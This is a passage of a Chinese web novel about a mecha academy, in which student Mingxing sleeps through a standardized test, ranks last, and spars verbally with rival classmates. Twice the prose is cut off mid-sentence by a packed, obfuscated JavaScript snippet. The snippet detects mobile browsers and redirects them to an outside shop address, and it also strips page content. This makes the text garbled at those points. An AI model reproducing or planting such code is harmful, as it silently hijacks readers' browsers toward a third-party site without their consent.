鸣星还有几个安全带没调整完全，不过看他这么烦躁，也只得按下了准备完毕的按键。 “测试开始。” 铁人内部的屏幕上滴的一声，显示了第一条指令： 【指令1（基础）：连接脑机接口】 鸣星淡定地想：好，是倒数第一还是倒数第十，就取决于现在了。 她将线轻轻插到脑后的基座里。 然后，一声不吭地昏了过去。 屏幕上更新了一行字： 【连接后机师晕厥，-100分】 机甲材料越好，向大脑输入的信息就越多，就好比更专业的软件会给更多的参数，而机甲服的重要用途就在于此：屏蔽信息，协助开机。 没有机甲服的屏蔽，忽然接入不可承受的大量信息，大脑自然会想办法自我保护。 “机师状态：晕厥中。” 英弦看着终端上这行字，一时呼吸都不顺了。 他又气又暗爽，气在开机都做不到的学生实在不配他亲自教导，暗爽在他有了狠狠地抨击她的理由，不过，只是一次开机失败是不够的，毕竟没穿机甲服的话，这也是情有可原。 他还需要更多。 报复的欲望终究超过了对弱者的鄙夷，英弦输入了唤醒指令。 这算是违规地帮她作了弊。不过，为了能更好地碾碎她的灵魂，还是值得的。 轰！ 鸣星的耳边在打雷。她头痛欲裂，痛苦地睁开眼，只见视窗正对面，英弦像吃人的怪物一样死死盯着她看。 鸣星吓得一激灵，虽然又困又累，想要睡过去，但还是强撑着眼皮，继续看屏幕指令。 【指令2（基础）：抬起右手35°】 非常简单的指令，只要能动就行，不过度数的精确性会影响评分高低。 鸣星想着：抬起右手35°。 她操作机甲很简单，不需要任何技巧，就是朴实无华地想一想。 咦，机子怎么一动不动？ 是她想的太精确了吗？鸣星又想道：抬起右手。 铁人仍是毫无反应，像是睡着了一般，安静地伫立着。 鸣星倒没慌乱，她心里大概清楚原因，一种可能是她不适应好材料，没有正确发送信息，另一种可能是她的大脑其实还是半眠的状态，俗称梦游。 有人做过研究，做梦的人开机甲，要么一动不动，要么动得毫无章法，像个精神病。 鸣星应该是半梦半醒之间，因为她隐约觉得自己回到了家里，在看体操节目。 她尝试收回涣散的意志，尽全力想着：抬起右手—— 铁人全身关节忽然互相挤压，发出一声刺耳的尖啸。 英弦的终端上，所有危险指数瞬间飙到最高！ 他脑子嗡的一声，全身肌肉紧绷到极致，像一枚出膛的炮弹一样射了出去，手臂高抬，轻机甲手套蓄满力道，即将生生破开机甲—— 咚！ 声音骤然灭去，铁人来了个完美的360度转体后空翻。 英弦硬生生刹住冲势，前倾的身体僵在半途，卡在一个尴尬又蓄势待发的姿势上。 整个龙蛋鸦雀无声，只有他的终端上滴滴轻响，显示着： 【已超时。未完成指令，-10分。错误操作，-100分】 鸣星不会这种高难度动作，只可能是她脑子莫名其妙地想了一下，而且想的极其专注具体，被铁人视为指令执行。 铁人落地后原地晃了两下，跌坐在地，好巧不巧让没系紧的安全带弹开了，她后脑重重磕在椅背上。 【机师再次晕厥，-100分，检测到机师安全带脱落，-100分】 英弦：“…………” 一口气不上不下地堵在他胸口，太阳穴突突直跳。 做出如此标准、利落、甚至十分优美的后空翻，其实非常厉害。 但是机师不能在指令是抬起右手时做后空翻。就好比敌人的战舰都打到脸上了，却给他表演一段精彩绝伦的霹雳舞，其结果就是死的更快了。 英弦死死盯着危险警报。鸣星的状态极其危险——机甲服是双向过滤的防火墙，过滤机甲的信息噪音，也过滤机主的杂念，但她没穿。刚才的危机，正是因为她进入睡眠后精神稳定性下降，杂念直接变成了指令。 轰轰！ 鸣星再次听到了雷声。现在她换了个梦，没在看体操，而是和一群野人围着篝火，快乐地跳舞。 快醒来啊！她在心里对自己呐喊，努力睁开眼。野人跳舞的影像后方，屏幕上的字渐渐透了出来。 【机师段位评估为：入门。切换至入门试题。】 【机师段位划分，一段入门、二段基础、三段同步、四段构造、五段强袭、六段专家、七段天锋、八段战略、九段机宗、十段机魂】 她在教材上看过这个职业段位划分，能开动人形机甲算一段入门，能按指令操作算二段基础。 能够机甲对战，三段同步。能开复杂机甲和设计机甲，四段构造。龙羿一年学生基本在这两段水平，一考场更是有四段资格认证才能进。 能开飞行机等特殊机甲，能独立制机，实战经验丰富，五段强袭。这已经是职业级的水平，作为大一学生来说，达到这段位的寥寥无几。 鸣星能开动观音，不说四段，至少也够得上三段。不过从她刚刚的表现来看，的确是入门水平。 一个入门水平的机师进入了龙羿军校，这事要是传出去了，应该可以给其他军校贡献一整年的笑点。 【指令3（入门）：保持机身当前状态不变】 这应该是最简单的指令了。人的思维通常十分发散，只要不专注用力地想一件事，机甲根本就不会动。 鸣星松了口气。 就只是一个呼气的功夫，那篝火忽然变得无比清晰，鼓点节奏声声入耳，她仿佛瞬间穿越回了古地球的原始时代，野人们模仿神话动物的形态，跳着祭祀之舞。他们跳着跳着，如来、玉帝、上帝、奥丁等东西方神明纷纷降临，佛光圣光闪光如舞台上的聚光灯一般束束打下，普照大地…… 坏了，这分明就是梦。 她知道自己在做梦，但她像被鬼压床一样根本无法醒来。 银龙班的人走到龙蛋门口，不约而同地停住了脚步。 只见那大厅之中，英弦脸色乌青，浑身颤抖——气的。三十个学生围着中间的机甲面面相觑，其中四架机甲做着进攻、防御、射击等标准操作，而最后一位机甲就神奇了： 它疯狂挥舞手臂，抖动腰身，双脚踩出复杂的踢踏舞步，不时穿插一个高难度动作，仿佛在模仿某种动物，有时是展翅高飞的鸟儿，有时是腾云驾雾的游龙…… 他们从来没有看过这么奇异的景象。 顾纳疑惑道：“今年的题库有变化吗？从来没听说过标准测试里有这种题目。” 丛晏只看了一眼，立刻俯下身去，全身抽搐。顾纳急忙扶着她的身子，仔细一看，她却是在狂笑，笑到眼泪直流，嘴里发不出声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497785|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>律尔一看就知道鸣星在做梦，这是大脑过载的自我保护手段，用梦强行拒绝接收机甲的大量信息。他笑了两声，说道：“别说，还挺有节奏感。” 银龙班的学生越到越多，大部分人只在开始时笑了几下，随即想到什么，立刻正经地讨论起来。 “今年的标准测试这么难吗？” “我没练过这题，怎么办啊。” “是谁在里面？按照这个复杂度，这个指令应该是满分吧。” “不会真的有排进前15的群星班学生吧……” 云斯京在其余学生里扫了一圈，没看到鸣星的脸。 她在那五架测试中的机甲里面，显然活蹦乱跳的那个就是她。 标准测试，是大家在初中就开始刷的基本功习题。他比一般人做得多，所有题都见过，但也只刷到了五段强袭。他敢肯定，五段以下绝对没有这道题。 标准测试的ai会根据机师水平调整题目，限定时间内，刷到的题目段位越高，就越能证明机师的综合能力。 难道说，鸣星已经做到了六段专家级别的指令？ 云斯京面色凝重：“应该是仿生学的题目。” 顾纳问道：“小京，怎么说？快给我们讲讲。” “明明是人形机甲，做出动作却能辨认出是哪种动物，这说明她在操控着人类不存在的部位。看肩胛处的抖动，如果这是飞行机，她已经飞起来了。” 云斯京的仿生学可是被黑蔷薇点名表扬过的，其他学生都看过来，认认真真地听他的分析，有的直接打开腕表里的电子笔记本，开始记录。 云斯京：“我记得绝大多数鸟类的飞翔动态，她这不属于任何一种，大概率是非现实的鸟类。” 丛晏这时也恢复了平静，她擦掉泪水，盯着那鸟一般的动作看了会，轻声道：“凤凰……” “你看出来了么。”云斯京说道：“她和你一样，对古地球文明感兴趣。” 所有人的脸色都糟了几分，课内外教材都是对古地球一嘴带过的，要是考这种概念的题，他们一定会全军覆没。 鸣星恐怕要挤进前15了。 云斯京扯了扯嘴角，心道：这样最好。 他叫鸣星来银龙班，当然不是为了联邦军人才这种事，只是想要一雪前耻罢了。 他想让她驾驶着最好的机甲，当着全校师生的面，与他堂堂正正地打上一场，分出胜负。 嗡—— 恐怖的尖啸又一次在龙蛋里回响，英弦绷紧了身子，随时准备冲上去救人。银龙班的学生面色一变，不知怎么会有人把铁人开出自爆预警？ 云斯京本来也吓了一跳，但立即想到了一个天衣无缝的解释。 “凤凰叫。”他沉声道：“她控制在自爆边缘，用关节摩擦音模仿凤凰的叫声，在仿生的评估里会得到更高分数。” 这操作虽然离谱了些，但如果是她，一定能做到。 众人大惊失色，这次的题居然难到这种地步吗？ “看来这次题很难。”律尔强忍着笑，颤声道：“大家加，加油。” “测试结束。” 几人从机甲里跳出来，都是大汗淋漓，脸色苍白，标准测试追求刷题速度，自然耗费心神，这对群星班的学生都是正常的反应。 只是最后那位就十分异常了。 鸣星晃晃悠悠地跳下来，打了个哈气，面色红润，眼睛也比平时更亮——大脑总算脱离了信息过载，可不是神清气爽么！ 围观了全程的群星班学生都傻了眼，他们根本不知道发生了什么，只是茫然，银龙班的学生则是面色凝重，气氛压抑。 她的排名在前十五，是毫无悬念的了。问题是，这样实力的她，一定不会甘于停在群星班。 她，会挑战银龙班的哪个学生？ 英弦没好气道：“自己看看排名吧。” 排名会公开在终端里，银龙班的学生都紧张地刷新页面。现在前十五位还是空的，鸣星会出现在哪个位置？ 刷新。 没有。 刷新。 还是没有。 他们疑惑地抬起头，看看鸣星，又看看刚刚解说过的云斯京。 云斯京此时也有些茫然。 在ai看来，六段专家段位的题都不能排进前15吗？ “哇。”鸣星看着自己的身份卡，轻叹一声。 士阳凑过去，表情一下子僵住了，她不可思议地看了好几眼，似乎在反复确认，轻声道：“你……这是怎么……” 怎么做到的。 云斯京忽然想到了什么，将排名拖到最后，然后，便呆住了。 所有人都学着他的动作，看向了名单最末。 210/210：鸣星 最后一名，横空出世！ 银龙班的同学齐齐看向云斯京。 云斯京：“……” 16. 散花 顾纳一时不知该摆出什么表情，不过还是想给云斯京打个圆场，“小京，你……分析的……” 这要怎么圆场才能圆回来啊！ “分析的没错。”丛晏淡淡地说：“她一定可以开凤凰机甲，如果有的话。” 幸好英弦终止了这个尴尬的局面，他跟他们勾勾手，说道：“你们上吧。” 律尔朝学生们点头，他们自觉地排了队，只是眼神还是止不住地在鸣星身上打转。 云斯京的分析不是瞎说，毕竟那动作确实精细，优美，抓住了动物形态的精髓，自爆的边控也堪称高手。如果这样的操作还考了最后一名的话，只能说明一件事。 她根本就没按照指令来，只是自己在乱做。 ……在决定龙座排名的测试上乱做，实在让人不明白她在想什么。 云斯京更是十分困惑，他想到鸣星之前说的，保守估计倒数十名，那竟然不是胡说的吗？ 她到底……是演的还是真的。 不过，谜底很快就揭晓了。 英弦大步走到鸣星前面，用手刀在她头顶狠狠敲了一下，怒道：“你哇什么哇？” 全学年倒数第一名，怎么有脸“哇”！ 鸣星吃痛地捂着头：“对不起长官，我在里面睡着了。” 英弦额头青筋暴起。 标准机无聊到让人想睡觉。 就算年少轻狂如他当年，这话也只是说说而已，怎么有人真敢这样做的啊？！这已经不是傲气，而是猖狂了。 “他们测试结束后，去跑圈，跑到天黑，跑到你彻底清醒过来！” “是，长官。” 鸣星说罢，乖巧地站在一边——然后开始和蹑手蹑脚凑到她身后的士阳快乐聊天。 ……这家伙绝对没有被当众惩罚的羞耻感。 英弦也说不上来自己为什么这么火大，可能因为鸣星在入学考试上的故意挑衅，也可能是因为她不怕他。 他教书这几年，没有学生不怕他。 她不仅不怕他，还态度很好，应和得快，让做什么都去做，没有不服气的劲，搞得他又没法更多撒火。 英弦：“别解散，我看看你们的测试数据。” 群星6班的学生老老实实站在原地，交流声音也都很轻，即使英弦并没有禁止他们说话。 210名，鸣星。他看着这名字就恼火，看了测试记录更是血脉偾张，真想把她拉到机甲对决场上，从身到心碾压她。 209名，萨鹿。倒数第一和倒数第二都在班里，可真是惊喜。他都懒得看细看数据，草草略过。 180名，175名，160名……这个班的废物怎么这么多？ 律尔信步到英弦身边，看他无比暴躁地划着悬浮显示屏，微笑道：“你让他们叫你长官？” “有问题？” “没问题……你这是带兵的瘾犯了啊，但你别绷这么紧，他们只是学生，学生嘛，轻松快乐一点才好，等他们进社会还有数不尽的苦要吃呢。” 英弦眼都没抬：“轻松快乐的士兵是没法战斗的，也没法保护别人。” 律尔没接这话茬，转开了话题，“小英啊，别生鸣星的气了，她是有点不懂事，但你不觉得她很像年轻的你吗？” “……” 本来就气，还净说些他不爱听的话。英弦小臂肌肉隆起，手指好几次戳到显示屏另一面，愠怒道：“我当年标准测试排名第一，她排名倒数第一，哪像了？” “就是那股傻气比较像。” 英弦凌厉的眼刀杀过去：“你说什么？” “不知天高地厚的傻气。”律指了下鸣星，“但你后面懂了，她现在还不懂，所以她需要成长。” 看着那个倒数第一还能惊叹，被罚了还有心思聊天的鸣星，英弦气不打一处来。 她就没有自尊心吗？ 如果年轻时的他得了最后一名，那一定是茶饭不思，一门心思提升能力。他们到底哪像了？ 鸣星感觉到他的目光，朝他轻轻笑了下。 ……还在傻乐！ 英弦攥紧了拳，咬牙道：“她是需要成长，她现在只知道玩。” 话刚说出口，他忽然意识到自己气愤的原因。 鸣星是以游戏的态度做所有事的。入学考试、标准测试，这些对其他学生称得上生死攸关的事，在她这里都像是随手打的游戏，赢了也好，输了也罢，怎样都无所谓。 他一般会直接放弃这种学生，手段是劝退，劝退无效就用惩罚折磨得他们自己退学，当然，如果他们挺过去了，就算是可塑之才，他也会好好培养。 英弦不准备劝退，他准备直接跳到第二步，折磨。 用压力碾碎她，用否定摧毁她。当她意识到自己什么都不是，意识到自己多么脆弱渺小，而面对的却是一个恐怖的世界时，还能用这种轻松的心态应对一切吗？ 这里不是战场，但是他们培养的，是要上战场的士兵。 加练。英弦脑子里只有这两个字，他要给鸣星单独加练，上上强度。 “过来。”他朝鸣星招手，鸣星一路小跑赶过来，笑呵呵地站在他面前。 “约明晚的S级别机甲训练场，2人，3小时。” 鸣星在终端上划了半天，说道：“长官，这要二十积分。” 倒数第一名一天只能得到十积分。 “那就明天约。”英弦说。 “但我还想用积分吃饭呢。”鸣星眨眨眼，有点可怜的样子，“我的钱都交学费了。” “……” 英弦虽然变态，但从来没干过不让学生吃好睡好的事，毕竟这是战斗的基础。 他本来想问鸣星是什么程度的没钱，但他也不太想关心学生的家境，于是说道：“去做任务，在明晚之前弄到预约训练场的积分，做不到的话，就来我的办、公、室训练吧。” 鸣星不明白他为什么强调办公室，这难道很恐怖吗？ 她回原位站着，一脸迷惑。士阳小声道：“那应该是说要训你很久的意思，去办公室训的话又不限时，也没有系统记录，他甚至可以做些违规的事情。” “比如呢？” “比如你晕倒了也要拉你起来继续练。” 这就在鸣星的想象能力之外了，她没法想象一个人晕倒了还要怎么拉练。她就是装死，英弦又能有什么办法？ 鸣星说道：“那我要见识一下了。” 士阳叹了口气。她感觉鸣星的成长环境应该很轻松，所以才不怕老师不怕惩罚，但这种事经历过一次就会怕了。 除鸣星外，英弦在班里还有两个比较在意的学生：朝他射击的士阳，还有一考场筛下来的六指。 士阳排名60，不好不坏，有待观察，没有鲜明的风格，是经典的做题家。大概是勉强三升四段的水平。 海微遥排名100，这就很出人意料了。他一直心不在焉的样子，本来都刷到了很高的分，后面又犯了好几个重大错误，把分扣了下去。 英弦见那学生驼着背缩在角落，一副窝囊样，就知道他怎么回事。 心气没了，或者自暴自弃。 不论是哪种，英弦都懒得理。在海微遥自己振作起来之前，他不会给这个优等生一点多余的关照。 他清点到排名最高的那名学生，眉头总算舒展了些。 16名，边子奕。 非常成熟的四段机师，操作又稳又快，全程心跳都没变过，心态稳定，动作熟练，是个可塑之才。这种程度不是刷题能达到的，多少有些天赋。 “边子奕、鸣星留下，其他人走。” 群星6班的同学光速撤离，一秒都不耽误。 尤其是海微遥，从他看到律尔开始，整个人就像要晕倒一样飘忽不定，现在一溜烟地跑得飞快，士阳想跟他说句话都没来得及。 英弦对边子奕说道：“等银龙班测试完，你用章鱼号做下性能展示。” 英弦喜欢用这个复杂机甲探学生的能力，能一次性摸清多方面的实力和潜能，之前在考场上要求鸣星用标准机时，指的也是这一款。 边子奕面露难色，似乎是觉得自己掌控不了章鱼号。不过他也不敢拒绝，只能小声道，“是，长官。” 云斯京是银龙班最后一批测试的学生。他从铁人里跳出来时，脸不红气不喘，完全没有过度消耗的疲惫。这种小测对他来说难度还是太低了，几乎不耗费什么心力就能题题满分。 只不过他还是有过一次失误。当一道仿生学题目出现时，他立刻回想起了鸣星那怪异的舞蹈，动作不由得慢了半分。这下，题只得了一半的分，还耽误了进度。 不过应该也没有大问题，按照他的估计，他还是能保住前三的位置，只不过和第四名的差距会没有那么大而已。 入学考试时，云斯京也认真看完了一考场的每个机甲，他需要了解竞争对手的水平，预估出自己的位置才能够安心。在他看来，除了和他早早相识的顾纳、丛晏二人，其他人都和他有一定的差距，并无特别出奇之处。 他颇为放松地打开了排名，紧接着，微微皱起了眉。 1/210：丛晏 2/210：顾纳 3/210：花凛子 4/210：云斯京 5/210：白机 …… 竟被鸣星猜中了？ 他本来以为她只是胡说八道，故意影响他的心态，没想到，她是认真推测的吗。 那边，看到排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497786|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名的鸣星和士阳二人也是吓了一跳。 “你真是瞎猜的？”士阳问道。 “算是……直觉吧。”鸣星开始回想当时她在想什么。 她向屋子里看就只是作势而已，但顺便注意到了屋里那个粉头发的女生。 她脑子里极快地闪过一个想法：粉发女生、顾纳，丛晏，这几人身上都有种强大带来的自信，虽然不像云斯京那样毫不掩饰自身的傲气，但也十分明显。 于是她猜了第四名。 银龙班的班群里，律尔发出了他们标准测试的成绩单。云斯京只比花凛子少0.1分，如果那道题他没有失误，就会是第三名。 不过，其他学生与云斯京的差距并没有他想象中的那么大。至少班级前六名学生都在五段强袭级。 标准测试测的是基本功，成绩很大程度上取决于平时刷了多少题。这届同学看着是些恃才傲物的天才，实则都是背地里悄悄努力的卷王。 就在云斯京初中那几年，星兽和反叛军频繁活动，还发起了几次大规模攻击，这几年的学生们被战斗气氛所感染，都很努力。反叛军被联邦军镇压下去后，便一直和平到现在，只不过很多人对那时候的事历历在目，不曾懈怠。 因此，这几年四大军校的学生质量都出奇的高，考试的难度、联赛的精彩程度都是飙升，军校为了抢人，也都增加了许多新奇有趣的课程。 云斯京排名第四，并没觉得不甘，只是心里想着，他得更努力一些才行。 标准测试只是一个起点，接下来还有大大小小的考试，比赛，项目……一次的失误不算什么，他得在更长远的时间线上站得更高，变得更强。 至于那种凭着自己有天赋就乱来的家伙，无所谓的态度顶多保持到这个学期结束。 即使她眼光好到看一眼人就能猜出来排名。 云斯京看向鸣星，她正和士阳研究银龙班的排名，从口袋里掏出一个小本子，里面画着一堆抽象的图形线条，不过还能看出来是各种形态的机甲，正是一考场的那些。 她们之前给机甲排了战力，现在正好和官方排名比对一下，讨论得热火朝天。 “这个‘散花’，我当时就很看好，用三片花瓣形状的刀刃作为武器，链球的变体攻击，开花的瞬间能切断钢缆，实在太帅了！不过还有很多改进空间，比如可以用天女散花的概念，又能打又好看，多好。我看看她的排名是……” “第三名，不用找了。” 花凛子说道。 她双手抱肩，微微仰着头，居高临下地看着鸣星。她脖颈修长，羊脂玉般的肌肤，高束的马尾宛如丝绸。鸣星是早就见过她的，考前评级时，花凛子排在她前面，说自己是启航者中学的第一名，有着极其丰富亮眼的履历。 她与鸣星并无交集，却不知哪来的敌意，微笑着冷声道：“散花是我亲自设计的机甲，也是靠我一人驾驶的。不用羡慕，只要脚踏实地，不搞花招，你也可以做到。” 她的重音落到了“一人”二字上，鸣星立刻想起来那个认为她作弊的专家。 鸣星也笑着说道：“你是说，我也能开动散花吗？” “你当然可以啦。”花凛子的目光扫到她的手上：“一千只手找十个人开。你都想出那么天才的招数了，驾驶更厉害的机甲也只是时间问题呐。” 花凛子绝对看过那个采访。 鸣星没想到这些学生一个两个的这么关注自己，云斯京特意找她说去银龙班的方法，花凛子还看她考后的采访。 “你喜欢观音么？”鸣星忽然问。 花凛子嗤之以鼻：“我对古地球那堆神叨叨的破事不感兴趣。” “这样啊。”鸣星的笑淡了几分，又问：“那么，你觉得你能开的动观音么？” 花凛子张了张嘴，一时没有回答。 她自然开不动，不如说所有考生都开不动，观音需要经过高强度练习才能掌握，但没人会把时间花在一个没用的玩具机甲上。 “怪不得你会认同那位专家的观点。”鸣星轻声道：“因为对你来说，这件事很难呀。” “难？”花凛子眉毛一立，声音紧了几分，“难这个字，通常是用来解释做不到的。但如果我想做，我就会做到。只是没必要罢了。” 她嘴角噙着冷淡的笑，“有能力考进龙羿的人，不会蠢到把时间砸在玩具上，所以，直说吧，观音背后到底几个人？” 鸣星思考了会，说道：“两个吧。” 花凛子嗤笑一声，一副果然如此的表情， “我和观音。”鸣星补充道。 花凛子：“……” 鸣星上双手合十，面带安详，“没错，我的后台是观音，在她的超度下，我升维了，于是能控制四十只手。” 17. 神人小队 “说这些有意思么。”花凛子声音有一丝被戏弄的恼火，“不可能有龙羿的学生花大量时间在玩具机甲上，因为不值得。这么简单的逻辑，有什么不好承认的？” 鸣星摇摇头：“进龙羿纯属意外。当时我没想过值不值得，只是想知道自己能不能做到而已。我用了很长时间没日没夜的练习，第一次控制了所有的手时，我也觉得不可思议，然后想，原来我能做到啊。于是就满足了。” 她看着花凛子的双眼，诚恳地说道：“我不会和记者们讲这些，因为他们又不开机甲，不会懂的，但是我们都是机甲专业的学生，你也有热爱的话，会理解我的吧。” 花凛子脸上的笑容消失了，有种难受的感觉卡在喉咙里，让她说不出话来。 她沉默了许久，才说：“鸣星，你是倒数第一名。我相信龙羿的测试，我不相信你的话。” 她不再等鸣星回应，猛地转过身去，脚步比来时更快，逃也似地快走出龙蛋。 龙蛋里只剩零星几个银龙班的学生，他们刚才目睹了这场风波，都在悄悄打量鸣星。 云斯京也深深地望着她的背影，一时思绪万千。 面对困难时没日没夜的练习、开启复杂机甲时不可思议的感觉。他原以为鸣星是个靠天赋玩弄机甲的人，却没想到，她也有过这样奋斗的经历。 既然如此，她又为何能如此随心所欲地应对重要的测试？她的淡然，是伪装还是洒脱—— “士阳，我刚才是不是说的很好？”鸣星笑嘻嘻地：“她刚刚迟疑了，说不定都有些自我怀疑了。” “你是瞎说的吗？”士阳问道：“你不是靠大量练习开动观音的吗？” “我是靠想象呀，之前和你说了的。练习是很重要，可是，那实在是太慢太慢了，人会被无意义的重复拖垮的。” 云斯京：“……” 花凛子有没有自我怀疑他不知道，反正他是有点自我怀疑了。 她说的没错，一直投入努力却得不到回报，人会迷茫，会思维迟缓，无法进步。 但机甲不就是这么练出来的吗？重复成百上千次，从第一次抬起手臂到形成肌肉记忆，那不是想象，而是学会，从古至今，所有人都是这样掌握技能的，没有人能跳出这个框架。 他不例外，他不觉得有例外。 但如果她是例外，会怎样看待他？ “你为什么猜我是第四名。” 鸣星吓了一跳。 云斯京走路没声，像个影子一样飘到她背后，又冷不丁地用有些阴森的口吻说了这么一句话，激得她背后发凉。 即使他淡漠的脸上并没有表现出什么情绪来。 “我随便说……” 云斯京打断了她：“你向教室里看的时候，是觉得我不如她？” 鸣星不知道要怎么回答这个问题。 她只是直觉加上玩笑说的那话罢了，自己都没想到能成真，更没想到云斯京会问她这种话。 要说云斯京和花凛子谁厉害，她觉得都厉害，作为倒数第一名，对于第三和第四谁不如谁这种事能有什么想法啊！ 鸣星想了想，说道：“我觉得你们俩差不多。” 这个答案让云斯京很不满意，他微微压下了眉，冷声道：“那你就看错了。” 鸣星立刻转变话锋：“我是看错了，其实你比她厉害的多，我刚才才发现的。” 云斯京：“……” 更恼火了。 顾纳过来打圆场，“凛子那么说，不见得是真认为你有什么问题，她只是帮她父亲说话而已。” “她父亲？” “你们说的那专家就是凛子的父亲。那次采访后，不少人骂他外行装懂，她可能一时气不过就和你呛了两句，不过她也没占理，这不很快就走了么。要我说她父亲确实外行胡说了，至少我们龙羿学生大多都认可你的实力啊！虽然你这次……” 后面的话，顾纳吞进了嗓子里，不过大家都知道他说的是这次鸣星排倒数第一的事。 大多。鸣星注意到了这个词，顾纳似乎在学校里认识挺多人，大概听到过些风言风语。 或许学校里，也有一些人认可专家的观点，认为她作弊了？ 龙蛋另一边传来一声巨响。几人回头望去，只见章鱼号歪歪扭扭地斜在一边，用触手捅穿了自己的胸甲，视窗上一个大口子，显然是从外界敲开的。 不远处，英弦提着边子奕的衣领拎起来，边子奕鼻子下两道血迹。 刚刚发生的事很明显，边子奕错误操作，机甲攻击自身，而且成功破甲。关键时刻，英弦眼疾手快地敲开视窗将他拖了出来，不然可能是重伤。 士阳疑惑道：“他是十六名，应该很强才对啊，怎么会控制不住机甲呢？” 顾纳摸摸下巴：“因为他没开过这个型号吧。试新机甲总是会有各种意外，虽然这个失误有点离谱了，是太紧张了吗——” 他还未说完，只听英弦吼道：“去给我跑五十圈！” 英弦总是乱发脾气，但这次生气倒是情有可原，毕竟险些酿成大祸。另外，边子奕的小命是保住了，章鱼号可是严重受损。 鸣星高兴道：“有人来陪我了！” 英弦气势汹汹地走过来，边子奕一脸绝望地低着头，小鸡仔一样跟在他身后。 英弦像个磁极，他一过来，周围学生纷纷后退，以鸣星为原点散开了。 他朝鸣星伸出手，压着火说道：“身份卡给我。” 叮的一声，鸣星的身份卡和英弦的终端配对，他操作一番，说道：“我绑定了你的运动轨迹和心跳监测，给你留一次半个小时的吃饭时间，其余休息时间不能超过十分钟。” 鸣星点头，等着英弦也绑定边子奕的身份卡，哪知英弦根本没看边子奕一眼，指了下跑道，“现在开始。” 鸣星慢腾腾地挪到起点，一路上频频回头看英弦。 英弦冷笑一声，说道：“不服气？我不绑定他是因为即使我不监督他，他也会乖乖跑完，你，绝对不会。” 鸣星心虚地移开了目光。 连心跳都绑定，英弦这是把所有投机取巧的方法都封死了，她也就只能老老实实地跑。 银龙班的学生三三两两地散去，云斯京和顾纳边走边聊，迈出龙蛋之前，他微微侧头，余光瞥见鸣星在慢腾腾地做着拉伸。他脚步不停一下，快步走远了。 士阳也离开了龙蛋，直到英弦走掉才跑回来，问鸣星：“去吃午饭吗？” “我不去食堂了，那半个小时我准备躺会。” “我给你带点吃的回来吧，别饿得晕倒了。” “太感谢啦，阳阳，爱你！” 龙蛋现在没人，只有两个挨罚的倒霉蛋跑步。边子奕跑得认真，鸣星则是以散步般的速度移动着，反正她只要跑到天黑，又没要求速度，不过就是快走七个小时，没什么难的。 他们全程没有交流，鸣星好几次想跟边子奕搭话，还没打上招呼，他就飞一般地跑远了。 直到他累了，停在原地，俯身撑着膝盖，如风箱一样呼啦呼啦地喘着粗气。 这时他还算正常，但他在腕表上划了两下后，忽然颤抖起来，一大团泪水坠在地上，呜咽几声。 “你怎么啦？”鸣星小跑到他身后：“跑不动了吗？要不歇一会，英老师又不是不让我们休息。” “我不……”边子奕咬牙道：“我想快点跑完，然后，我要去训练……我，我要学习……” 他身材中等，长相平平，圆眼圆脸，还戴一副圆形眼镜，褐色短发的发尾微微翘起，挺乖巧的模样。这说明他没打基因针，祖上也没有精挑细选一些高颜值伴侣，并不是特别有钱的家庭。 边子奕看着就是那种努力的普通人，鸣星以前的同学大多是这种类型，她反而很有亲切感。 “这才第一天，不着急学习吧？课都还没正式上呢。” 要是下午不用跑步，鸣星一定会在校园里逛逛玩玩，绝不会去做什么训练。 “但是——但是……”边子奕抽泣了两下，大哭起来，“但是我很笨啊！” 场馆里就他们两个，怎么样都不算太丢人，他本来就流了泪，现在索性嚎啕大哭，心里的委屈也一股脑哭喊出来。 “他非要我开章鱼号，我根本就不会，现在什么都搞砸了，机甲摔坏，老师看不起我，同学也——同学也——” 边子奕一口气差点没上来，鸣星连忙拍拍他的背，他又哭得更厉害了。 “同学也嫌弃我了！本来我都组好了队，排名出来后他们还夸我，结果刚才他们给我发消息说，说他们配不上我，不想拖我后腿，让我找别人组队。他们明明就是怕被我连累，明明就是觉得我废物！可是他们这么想也没问题，我都搞砸了，我的确是个废物——” 边子奕16名，在群星6班排名最高，本应是大家争抢的对象，但就因为英弦那句“一人犯错全队受罚”，现在出点小问题，就被所有人避之不及。 “你哭什么哭！” 一个女声忽然从身后响起，两人都吓了一跳，回头看去，只见一个娇小的女生对他怒目而视。 那女生脸色苍白，茂密而杂乱的黑色长发垂到大腿，她本来就瘦小，这样的发型几乎将她的脸和身子都吞进去了，那种小脸大眼睛的长相本该是十分美丽的，她却一副阴郁表情，好像一只怨气很大的鬼。 她指着边子奕的手都在颤抖，已然愤怒到了极点。 “贬低自己很快乐吗？别装了，还不是想让人夸你‘不是啦，你明明就是天才’，说被他们嫌弃，无非就是想说你有人邀请么，无非就是这群人配不上你么！那我呢，根本就没人邀请过我，没人正眼看过我一下，我哭了吗？” 边子奕吓得不哭了，呆滞地看着她，女生见他这软弱的模样，似乎更气了，大步上前揪住他的领子，吼道： “你个十六名的是废物，那我是什么？我倒数第二名算垃圾吗？！对，你不许说你是废物，不要再炫耀了，你个混蛋，我才是真正的废物，我才是！我这个倒数第二才是！” 边子奕一愣，看向旁边的倒数第一。 女生也反应过来，僵硬地松开了手，尴尬地把头扭到一边，根本不敢和鸣星对视。 她小声道：“我、我不是那个意思……” “边子奕，萨鹿。”鸣星念出两人的名字，两只手分别搭在两人肩膀上。 